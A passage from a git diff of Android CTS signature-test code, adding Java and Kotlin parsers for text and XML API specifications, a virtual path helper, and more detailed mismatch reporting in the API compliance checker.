- private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
- int modifier = 0;
- for (int i = 0;i < parser.getAttributeCount();i++) {
- modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
- parser.getAttributeValue(i));
- }
- return modifier;
- }
}
diff --git a/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
new file mode 100644
index 0000000..4d2fade
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+@file:JvmName("KtHelper")
+package android.signature.cts
+
+import com.android.tools.metalava.model.TypeItem
+
+/**
+ * Allows Java to call the TypeItem.toTypeString() without having to explicitly specify each named
+ * parameter to its default. This allows additional parameters to be added to the method without
+ * breaking the Java code.
+ */
+fun toDefaultTypeString(item: TypeItem): String {
+ // Normalize the strings to contain , without a following space. This is needed because
+ // different versions of the txt specification used different separators in generic types, some
+ // used "," and some used ", " and metalava does not normalize them. e.g. some files will format
+ // a Map from String to Integer as "java.util.Map<java.lang.String,java.lang.Integer>" and some
+ // will format it as "java.util.Map<java.lang.String, java.lang.Integer>".
+ //
+ // Must match separator used in android.signature.cts.ReflectionHelper.typeToString.
+ return item.toTypeString().replace(", ", ",")
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
new file mode 100644
index 0000000..26ac862
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import com.android.tools.metalava.doclava1.ApiFile;
+import com.android.tools.metalava.doclava1.ApiParseException;
+import com.android.tools.metalava.doclava1.TextCodebase;
+import com.android.tools.metalava.model.ClassItem;
+import com.android.tools.metalava.model.ConstructorItem;
+import com.android.tools.metalava.model.FieldItem;
+import com.android.tools.metalava.model.Item;
+import com.android.tools.metalava.model.MethodItem;
+import com.android.tools.metalava.model.ModifierList;
+import com.android.tools.metalava.model.PackageItem;
+import com.android.tools.metalava.model.ParameterItem;
+import com.android.tools.metalava.model.TypeItem;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Modifier;
+import java.util.List;
+import java.util.Objects;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import kotlin.streams.jdk8.StreamsKt;
+
+/**
+ * Parser for the text representation of an API specification.
+ */
+public class TextApiParser extends ApiParser {
+
+ @Override
+ public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+ try {
+ String content = new BufferedReader(new InputStreamReader(path.newInputStream()))
+ .lines()
+ .parallel()
+ .collect(Collectors.joining("\n"));
+ TextCodebase codebase = ApiFile.parseApi(path.toString(), content, false);
+ List<PackageItem> packages = codebase.getPackages().getPackages();
+ return packages.stream()
+ // Map each package to the Sequence of ClassItems that it contains
+ .map(PackageItem::allClasses)
+ // Flatten the Sequences of ClassItems into one stream.
+ .flatMap(StreamsKt::asStream)
+ // Filter out TextClassItems that are used from but not defined in the source.
+ .filter(ClassItem::isDefined)
+ .map(TextApiParser::convertClass);
+ } catch (IOException | ApiParseException e) {
+ throw new RuntimeException("Could not parse " + path, e);
+ }
+ }
+
+ private static JDiffClassDescription convertClass(ClassItem item) {
+ String pkg = item.containingPackage().qualifiedName();
+
+ JDiffClassDescription currentClass = new JDiffClassDescription(pkg, item.fullName());
+
+ int modifiers = getModifiers(item);
+
+ currentClass.setModifier(modifiers);
+ currentClass.setType(item.isInterface() ? JDiffClassDescription.JDiffType.INTERFACE :
+ JDiffClassDescription.JDiffType.CLASS);
+
+ // Map the super class.
+ ClassItem superClass = item.superClass();
+ if (superClass != null) {
+ String extendsClass = superClass.qualifiedName();
+ if (item.isInterface()) {
+ // TextCodebase treats an interface as if it extends java.lang.Object.
+ if (!superClass.isJavaLangObject()) {
+ currentClass.addImplInterface(extendsClass);
+ }
+ } else {
+ currentClass.setExtendsClass(extendsClass);
+ }
+ }
+
+ // Map the interfaces.
+ item.interfaceTypes().stream()
+ .map(TypeItem::asClass)
+ .filter(Objects::nonNull)
+ .map(ClassItem::qualifiedName)
+ .forEach(currentClass::addImplInterface);
+
+ item.fields().stream().map(TextApiParser::convertField).forEach(currentClass::addField);
+
+ item.constructors().stream()
+ .map(TextApiParser::convertConstructor)
+ .forEach(currentClass::addConstructor);
+
+ item.methods().stream()
+ .map(TextApiParser::convertMethod)
+ .forEach(currentClass::addMethod);
+
+ return currentClass;
+ }
+
+ private static int getModifiers(Item item) {
+ ModifierList modifierList = item.getModifiers();
+ int modifiers = 0;
+ if (modifierList.isAbstract()) {
+ modifiers |= Modifier.ABSTRACT;
+ }
+ if (modifierList.isFinal()) {
+ modifiers |= Modifier.FINAL;
+ }
+ if (modifierList.isNative()) {
+ modifiers |= Modifier.NATIVE;
+ }
+ if (modifierList.isStatic()) {
+ modifiers |= Modifier.STATIC;
+ }
+ if (modifierList.isSynchronized()) {
+ modifiers |= Modifier.SYNCHRONIZED;
+ }
+ if (modifierList.isTransient()) {
+ modifiers |= Modifier.TRANSIENT;
+ }
+ if (modifierList.isVolatile()) {
+ modifiers |= Modifier.VOLATILE;
+ }
+ if (modifierList.isPrivate()) {
+ modifiers |= Modifier.PRIVATE;
+ } else if (modifierList.isProtected()) {
+ modifiers |= Modifier.PROTECTED;
+ } else if (modifierList.isPublic()) {
+ modifiers |= Modifier.PUBLIC;
+ }
+ return modifiers;
+ }
+
+ private static JDiffField convertField(FieldItem item) {
+ int modifiers = getModifiers(item);
+ Object value = item.initialValue(true);
+
+ if (item.isEnumConstant()) {
+ // Set the enum bit on the enum constant to match the modifiers returned by reflection.
+ modifiers |= 0x00004000;
+ }
+
+ return new JDiffField(item.name(),
+ KtHelper.toDefaultTypeString(item.type()), modifiers,
+ value == null ? null : value.toString());
+ }
+
+ private static JDiffConstructor convertConstructor(ConstructorItem item) {
+ JDiffConstructor constructor = new JDiffConstructor(item.name(), getModifiers(item));
+
+ convertParameters(item, constructor);
+
+ return constructor;
+ }
+
+ private static void convertParameters(MethodItem item, JDiffMethod method) {
+ item.parameters().stream()
+ .map(TextApiParser::convertParameter)
+ .forEach(method::addParam);
+ }
+
+ private static JDiffMethod convertMethod(MethodItem item) {
+ TypeItem returnType = item.returnType();
+ String returnTypeAsString = returnType == null ? null
+ : KtHelper.toDefaultTypeString(returnType);
+ JDiffMethod method = new JDiffMethod(item.name(), getModifiers(item), returnTypeAsString);
+
+ convertParameters(item, method);
+
+ return method;
+ }
+
+ private static String convertParameter(ParameterItem item) {
+ return KtHelper.toDefaultTypeString(item.type());
+ }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
new file mode 100644
index 0000000..140dd6d
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+/**
+ * Workaround for the lack of a zip file system provider on Android.
+ */
+public abstract class VirtualPath {
+
+ /**
+ * Get a path to the local file system.
+ */
+ public static LocalFilePath get(String path) {
+ return new LocalFilePath(path);
+ }
+
+ /**
+ * Get a path to an entry in a zip file, i.e. a zip file system.
+ */
+ public static ZipEntryPath get(ZipFile zip, ZipEntry entry) {
+ return new ZipEntryPath(zip, entry);
+ }
+
+ /**
+ * Get a path to a resource in a ClassLoader.
+ *
+ * @param classLoader the ClassLoader containing the resource.
+ * @param resourceName the name of the resource, must not start with a /.
+ */
+ public static ResourcePath get(ClassLoader classLoader, String resourceName)
+ throws IOException {
+ return new ResourcePath(classLoader, resourceName);
+ }
+
+ public abstract InputStream newInputStream() throws IOException;
+
+ public static class LocalFilePath extends VirtualPath {
+ private final String path;
+
+ LocalFilePath(String path) {
+ this.path = path;
+ }
+
+ public File toFile() {
+ return new File(path);
+ }
+
+ public LocalFilePath resolve(String relative) {
+ return new LocalFilePath(path + "/" + relative);
+ }
+
+ @Override
+ public InputStream newInputStream() throws IOException {
+ return new FileInputStream(path);
+ }
+
+ @Override
+ public String toString() {
+ return path;
+ }
+ }
+
+ private static class ZipEntryPath extends VirtualPath {
+
+ private final ZipFile zip;
+
+ private final ZipEntry entry;
+
+ private ZipEntryPath(ZipFile zip, ZipEntry entry) {
+ this.zip = zip;
+ this.entry = entry;
+ }
+
+ @Override
+ public InputStream newInputStream() throws IOException {
+ return zip.getInputStream(entry);
+ }
+
+ @Override
+ public String toString() {
+ return "zip:file:" + zip.getName() + "!/" + entry.getName();
+ }
+ }
+
+ public static class ResourcePath extends VirtualPath {
+ private final URL url;
+
+ ResourcePath(ClassLoader classLoader, String path) throws IOException {
+ this.url = classLoader.getResource(path);
+ if (url == null) {
+ throw new IOException("Could not find resource '" + path + "' in " + classLoader);
+ }
+ }
+
+ @Override
+ public InputStream newInputStream() throws IOException {
+ return url.openStream();
+ }
+
+ @Override
+ public String toString() {
+ return url.toExternalForm();
+ }
+ }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
new file mode 100644
index 0000000..8e5d0bb
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -0,0 +1,617 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import android.util.Log;
+import java.io.IOException;
+import java.lang.reflect.Modifier;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.Spliterator;
+import java.util.function.Consumer;
+import java.util.stream.Stream;
+import java.util.stream.StreamSupport;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Parser for the XML representation of an API specification.
+ */
+class XmlApiParser extends ApiParser {
+
+ private static final String TAG_ROOT = "api";
+
+ private static final String TAG_PACKAGE = "package";
+
+ private static final String TAG_CLASS = "class";
+
+ private static final String TAG_INTERFACE = "interface";
+
+ private static final String TAG_IMPLEMENTS = "implements";
+
+ private static final String TAG_CONSTRUCTOR = "constructor";
+
+ private static final String TAG_METHOD = "method";
+
+ private static final String TAG_PARAM = "parameter";
+
+ private static final String TAG_EXCEPTION = "exception";
+
+ private static final String TAG_FIELD = "field";
+
+ private static final String ATTRIBUTE_NAME = "name";
+
+ private static final String ATTRIBUTE_TYPE = "type";
+
+ private static final String ATTRIBUTE_VALUE = "value";
+
+ private static final String ATTRIBUTE_EXTENDS = "extends";
+
+ private static final String ATTRIBUTE_RETURN = "return";
+
+ private static final String MODIFIER_ABSTRACT = "abstract";
+
+ private static final String MODIFIER_FINAL = "final";
+
+ private static final String MODIFIER_NATIVE = "native";
+
+ private static final String MODIFIER_PRIVATE = "private";
+
+ private static final String MODIFIER_PROTECTED = "protected";
+
+ private static final String MODIFIER_PUBLIC = "public";
+
+ private static final String MODIFIER_STATIC = "static";
+
+ private static final String MODIFIER_SYNCHRONIZED = "synchronized";
+
+ private static final String MODIFIER_TRANSIENT = "transient";
+
+ private static final String MODIFIER_VOLATILE = "volatile";
+
+ private static final String MODIFIER_VISIBILITY = "visibility";
+
+ private static final Set<String> KEY_TAG_SET;
+
+ static {
+ KEY_TAG_SET = new HashSet<>();
+ Collections.addAll(KEY_TAG_SET,
+ TAG_PACKAGE,
+ TAG_CLASS,
+ TAG_INTERFACE,
+ TAG_IMPLEMENTS,
+ TAG_CONSTRUCTOR,
+ TAG_METHOD,
+ TAG_PARAM,
+ TAG_EXCEPTION,
+ TAG_FIELD);
+ }
+
+ private final String tag;
+
+ private final XmlPullParserFactory factory;
+
+ XmlApiParser(String tag) {
+ this.tag = tag;
+ try {
+ factory = XmlPullParserFactory.newInstance();
+ } catch (XmlPullParserException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Load field information from xml to memory.
+ *
+ * @param className
+ * of the class being examined which will be shown in error messages
+ * @param parser
+ * The XmlPullParser which carries the xml information.
+ * @return the new field
+ */
+ private static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
+ String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+ String fieldType = canonicalizeType(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+ int modifier = jdiffModifierToReflectionFormat(className, parser);
+ String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
+
+ // Canonicalize the expected value to ensure that it is consistent with the values obtained
+ // using reflection by ApiComplianceChecker.getFieldValueAsString(...).
+ if (value != null) {
+
+ // An unquoted null String value actually means null. It cannot be confused with a
+ // String containing the word null as that would be surrounded with double quotes.
+ if (value.equals("null")) {
+ value = null;
+ } else {
+ switch (fieldType) {
+ case "java.lang.String":
+ value = unescapeFieldStringValue(value);
+ break;
+
+ case "char":
+ // A character is encoded in XML as its numeric value. Convert it to a
+ // string containing the single character.
+ char c = (char) Integer.parseInt(value);
+ value = String.valueOf(c);
+ break;
+
+ case "double":
+ switch (value) {
+ case "(-1.0/0.0)":
+ value = "-Infinity";
+ break;
+ case "(0.0/0.0)":
+ value = "NaN";
+ break;
+ case "(1.0/0.0)":
+ value = "Infinity";
+ break;
+ }
+ break;
+
+ case "float":
+ switch (value) {
+ case "(-1.0f/0.0f)":
+ value = "-Infinity";
+ break;
+ case "(0.0f/0.0f)":
+ value = "NaN";
+ break;
+ case "(1.0f/0.0f)":
+ value = "Infinity";
+ break;
+ default:
+ // Remove the trailing f.
+ if (value.endsWith("f")) {
+ value = value.substring(0, value.length() - 1);
+ }
+ }
+ break;
+
+ case "long":
+ // Remove the trailing L.
+ if (value.endsWith("L")) {
+ value = value.substring(0, value.length() - 1);
+ }
+ break;
+ }
+ }
+ }
+
+ return new JDiffField(fieldName, fieldType, modifier, value);
+ }
+
+ /**
+ * Load method information from xml to memory.
+ *
+ * @param className
+ * of the class being examined which will be shown in error messages
+ * @param parser
+ * The XmlPullParser which carries the xml information.
+ * @return the newly loaded method.
+ */
+ private static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
+ String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+ String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
+ int modifier = jdiffModifierToReflectionFormat(className, parser);
+ return new JDiffMethod(methodName, modifier, canonicalizeType(returnType));
+ }
+
+ /**
+ * Load constructor information from xml to memory.
+ *
+ * @param parser
+ * The XmlPullParser which carries the xml information.
+ * @param currentClass
+ * the current class being loaded.
+ * @return the new constructor
+ */
+ private static JDiffConstructor loadConstructorInfo(
+ XmlPullParser parser, JDiffClassDescription currentClass) {
+ String name = currentClass.getClassName();
+ int modifier = jdiffModifierToReflectionFormat(name, parser);
+ return new JDiffConstructor(name, modifier);
+ }
+
+ /**
+ * Load class or interface information to memory.
+ *
+ * @param parser
+ * The XmlPullParser which carries the xml information.
+ * @param isInterface
+ * true if the current class is an interface, otherwise is false.
+ * @param pkg
+ * the name of the java package this class can be found in.
+ * @return the new class description.
+ */
+ private static JDiffClassDescription loadClassInfo(
+ XmlPullParser parser, boolean isInterface, String pkg) {
+ String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+ JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
+
+ currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
+ currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
+ JDiffClassDescription.JDiffType.CLASS);
+ currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+ return currentClass;
+ }
+
+ /**
+ * Transfer string modifier to int one.
+ *
+ * @param name
+ * of the class/method/field being examined which will be shown in error messages
+ * @param parser
+ * XML resource parser
+ * @return converted modifier
+ */
+ private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser) {
+ int modifier = 0;
+ for (int i = 0; i < parser.getAttributeCount(); i++) {
+ modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
+ parser.getAttributeValue(i));
+ }
+ return modifier;
+ }
+
+ /**
+ * Convert string modifier to int modifier.
+ *
+ * @param name
+ * of the class/method/field being examined which will be shown in error messages
+ * @param key
+ * modifier name
+ * @param value
+ * modifier value
+ * @return converted modifier value
+ */
+ private static int modifierDescriptionToReflectedType(String name, String key, String value) {
+ switch (key) {
+ case MODIFIER_ABSTRACT:
+ return value.equals("true") ? Modifier.ABSTRACT : 0;
+ case MODIFIER_FINAL:
+ return value.equals("true") ? Modifier.FINAL : 0;
+ case MODIFIER_NATIVE:
+ return value.equals("true") ? Modifier.NATIVE : 0;
+ case MODIFIER_STATIC:
+ return value.equals("true") ? Modifier.STATIC : 0;
+ case MODIFIER_SYNCHRONIZED:
+ return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
+ case MODIFIER_TRANSIENT:
+ return value.equals("true") ? Modifier.TRANSIENT : 0;
+ case MODIFIER_VOLATILE:
+ return value.equals("true") ? Modifier.VOLATILE : 0;
+ case MODIFIER_VISIBILITY:
+ switch (value) {
+ case MODIFIER_PRIVATE:
+ throw new RuntimeException("Private visibility found in API spec: " + name);
+ case MODIFIER_PROTECTED:
+ return Modifier.PROTECTED;
+ case MODIFIER_PUBLIC:
+ return Modifier.PUBLIC;
+ case "":
+ // If the visibility is "", it means it has no modifier.
+ // which is package private. We should return 0 for this modifier.
+ return 0;
+ default:
+ throw new RuntimeException("Unknown modifier found in API spec: " + value);
+ }
+ }
+ return 0;
+ }
+
+ @Override
+ public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+ XmlPullParser parser;
+ try {
+ parser = factory.newPullParser();
+ parser.setInput(path.newInputStream(), null);
+ return StreamSupport
+ .stream(new ClassDescriptionSpliterator(parser), false);
+ } catch (XmlPullParserException | IOException e) {
+ throw new RuntimeException("Could not parse " + path, e);
+ }
+ }
+
+ private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
+
+ private final XmlPullParser parser;
+
+ JDiffClassDescription currentClass = null;
+
+ String currentPackage = "";
+
+ JDiffMethod currentMethod = null;
+
+ ClassDescriptionSpliterator(XmlPullParser parser)
+ throws IOException, XmlPullParserException {
+ this.parser = parser;
+ logd(String.format("Name: %s", parser.getName()));
+ logd(String.format("Text: %s", parser.getText()));
+ logd(String.format("Namespace: %s", parser.getNamespace()));
+ logd(String.format("Line Number: %s", parser.getLineNumber()));
+ logd(String.format("Column Number: %s", parser.getColumnNumber()));
+ logd(String.format("Position Description: %s", parser.getPositionDescription()));
+ beginDocument(parser);
+ }
+
+ @Override
+ public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
+ JDiffClassDescription classDescription;
+ try {
+ classDescription = next();
+ } catch (IOException | XmlPullParserException e) {
+ throw new RuntimeException(e);
+ }
+
+ if (classDescription == null) {
+ return false;
+ }
+ action.accept(classDescription);
+ return true;
+ }
+
+ @Override
+ public Spliterator<JDiffClassDescription> trySplit() {
+ return null;
+ }
+
+ @Override
+ public long estimateSize() {
+ return Long.MAX_VALUE;
+ }
+
+ @Override
+ public int characteristics() {
+ return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
+ }
+
+ private void beginDocument(XmlPullParser parser)
+ throws XmlPullParserException, IOException {
+ int type;
+ do {
+ type = parser.next();
+ } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
+
+ if (type != XmlPullParser.START_TAG) {
+ throw new XmlPullParserException("No start tag found");
+ }
+
+ if (!parser.getName().equals(TAG_ROOT)) {
+ throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
+ ", expected " + TAG_ROOT);
+ }
+ }
+
+ private JDiffClassDescription next() throws IOException, XmlPullParserException {
+ int type;
+ while (true) {
+ do {
+ type = parser.next();
+ } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
+ && type != XmlPullParser.END_TAG);
+
+ if (type == XmlPullParser.END_DOCUMENT) {
+ logd("Reached end of document");
+ break;
+ }
+
+ String tagname = parser.getName();
+ if (type == XmlPullParser.END_TAG) {
+ if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
+ logd("Reached end of class: " + currentClass);
+ return currentClass;
+ } else if (TAG_PACKAGE.equals(tagname)) {
+ currentPackage = "";
+ }
+ continue;
+ }
+
+ if (!KEY_TAG_SET.contains(tagname)) {
+ continue;
+ }
+
+ switch (tagname) {
+ case TAG_PACKAGE:
+ currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+ break;
+
+ case TAG_CLASS:
+ currentClass = loadClassInfo(parser, false, currentPackage);
+ break;
+
+ case TAG_INTERFACE:
+ currentClass = loadClassInfo(parser, true, currentPackage);
+ break;
+
+ case TAG_IMPLEMENTS:
+ currentClass
+ .addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+ break;
+
+ case TAG_CONSTRUCTOR:
+ JDiffConstructor constructor =
+ loadConstructorInfo(parser, currentClass);
+ currentClass.addConstructor(constructor);
+ currentMethod = constructor;
+ break;
+
+ case TAG_METHOD:
+ currentMethod = loadMethodInfo(currentClass.getClassName(), parser);
+ currentClass.addMethod(currentMethod);
+ break;
+
+ case TAG_PARAM:
+ String paramType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
+ currentMethod.addParam(canonicalizeType(paramType));
+ break;
+
+ case TAG_EXCEPTION:
+ currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+ break;
+
+ case TAG_FIELD:
+ JDiffField field = loadFieldInfo(currentClass.getClassName(), parser);
+ currentClass.addField(field);
+ break;
+
+ default:
+ throw new RuntimeException("unknown tag exception:" + tagname);
+ }
+
+ if (currentPackage != null) {
+ logd(String.format("currentPackage: %s", currentPackage));
+ }
+ if (currentClass != null) {
+ logd(String.format("currentClass: %s", currentClass.toSignatureString()));
+ }
+ if (currentMethod != null) {
+ logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
+ }
+ }
+
+ return null;
+ }
+ }
+
+ private void logd(String msg) {
+ Log.d(tag, msg);
+ }
+
+ // This unescapes the string format used by doclava and so needs to be kept in sync with any
+ // changes made to that format.
+ private static String unescapeFieldStringValue(String str) {
+ // Skip over leading and trailing ".
+ int start = 0;
+ if (str.charAt(start) == '"') {
+ ++start;
+ }
+ int end = str.length();
+ if (str.charAt(end - 1) == '"') {
+ --end;
+ }
+
+ // If there's no special encoding strings in the string then just return it without the
+ // leading and trailing "s.
+ if (str.indexOf('\\') == -1) {
+ return str.substring(start, end);
+ }
+
+ final StringBuilder buf = new StringBuilder(str.length());
+ char escaped = 0;
+ final int START = 0;
+ final int CHAR1 = 1;
+ final int CHAR2 = 2;
+ final int CHAR3 = 3;
+ final int CHAR4 = 4;
+ final int ESCAPE = 5;
+ int state = START;
+
+ for (int i = start; i < end; i++) {
+ final char c = str.charAt(i);
+ switch (state) {
+ case START:
+ if (c == '\\') {
+ state = ESCAPE;
+ } else {
+ buf.append(c);
+ }
+ break;
+ case ESCAPE:
+ switch (c) {
+ case '\\':
+ buf.append('\\');
+ state = START;
+ break;
+ case 't':
+ buf.append('\t');
+ state = START;
+ break;
+ case 'b':
+ buf.append('\b');
+ state = START;
+ break;
+ case 'r':
+ buf.append('\r');
+ state = START;
+ break;
+ case 'n':
+ buf.append('\n');
+ state = START;
+ break;
+ case 'f':
+ buf.append('\f');
+ state = START;
+ break;
+ case '\'':
+ buf.append('\'');
+ state = START;
+ break;
+ case '\"':
+ buf.append('\"');
+ state = START;
+ break;
+ case 'u':
+ state = CHAR1;
+ escaped = 0;
+ break;
+ }
+ break;
+ case CHAR1:
+ case CHAR2:
+ case CHAR3:
+ case CHAR4:
+ escaped <<= 4;
+ if (c >= '0' && c <= '9') {
+ escaped |= c - '0';
+ } else if (c >= 'a' && c <= 'f') {
+ escaped |= 10 + (c - 'a');
+ } else if (c >= 'A' && c <= 'F') {
+ escaped |= 10 + (c - 'A');
+ } else {
+ throw new RuntimeException(
+ "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+ + str + "\"");
+ }
+ if (state == CHAR4) {
+ buf.append(escaped);
+ state = START;
+ } else {
+ state++;
+ }
+ break;
+ }
+ }
+ if (state != START) {
+ throw new RuntimeException("unfinished escape sequence: " + str);
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Canonicalize a possibly generic type.
+ */
+ private static String canonicalizeType(String type) {
+ // Remove trailing spaces after commas.
+ return type.replace(", ", ",");
+ }
+}
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
index 31fb149..81a9f8c 100644
--- a/tests/signature/lib/common/Android.bp
+++ b/tests/signature/lib/common/Android.bp
@@ -14,6 +14,9 @@
java_library_static {
name: "signature-common-javalib",
+ visibility: [
+ "//cts/tests/signature:__subpackages__",
+ ],
host_supported: true,
installable: false,
srcs: ["src/**/*.java"],
diff --git a/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
index 75632ac..03c4a85 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
@@ -19,7 +19,9 @@
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
+import java.util.LinkedHashMap;
import java.util.Map;
+import java.util.stream.Collectors;
/**
* Base class for those that process a set of API definition files and perform some checking on
@@ -187,14 +189,22 @@
*/
private void checkConstructorCompliance(JDiffClassDescription classDescription,
Class<?> runtimeClass) {
+ Map<Constructor, String> mismatchReasons = new LinkedHashMap<>();
for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
try {
- Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con);
+ Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con,
+ mismatchReasons);
if (c == null) {
resultObserver.notifyFailure(FailureType.MISSING_CONSTRUCTOR,
con.toReadableString(classDescription.getAbsoluteClassName()),
- "No constructor with correct signature found:" +
- con.toSignatureString());
+ String.format(
+ "No constructor with correct signature found. The following"
+ + " constructors were rejected:\n%s",
+ mismatchReasons.entrySet()
+ .stream()
+ .map(e -> String.format("\t\t%s - %s\n",
+ e.getKey(), e.getValue()))
+ .collect(Collectors.joining())));
} else {
checkConstructor(classDescription, runtimeClass, con, c);
}
@@ -220,18 +230,27 @@
*/
private void checkMethodCompliance(JDiffClassDescription classDescription,
Class<?> runtimeClass) {
+ Map<Method, String> mismatchReasons = new LinkedHashMap<>();
for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
try {
-
- Method m = ReflectionHelper.findMatchingMethod(runtimeClass, method);
+ Method m = ReflectionHelper.findMatchingMethod(
+ runtimeClass, method, mismatchReasons);
if (m == null) {
resultObserver.notifyFailure(FailureType.MISSING_METHOD,
method.toReadableString(classDescription.getAbsoluteClassName()),
- "No method with correct signature found, looking for:" +
- method.toSignatureString());
+ String.format(
+ "No method with correct signature found. The following methods"
+ + " with the same name were rejected:\n%s",
+ mismatchReasons.entrySet()
+ .stream()
+ .map(e -> String.format("\t\t%s - %s\n",
+ e.getKey(), e.getValue()))
+ .collect(Collectors.joining())));
} else {
checkMethod(classDescription, runtimeClass, method, m);
}
+ // Clear the list.
+ mismatchReasons.clear();
} catch (Exception e) {
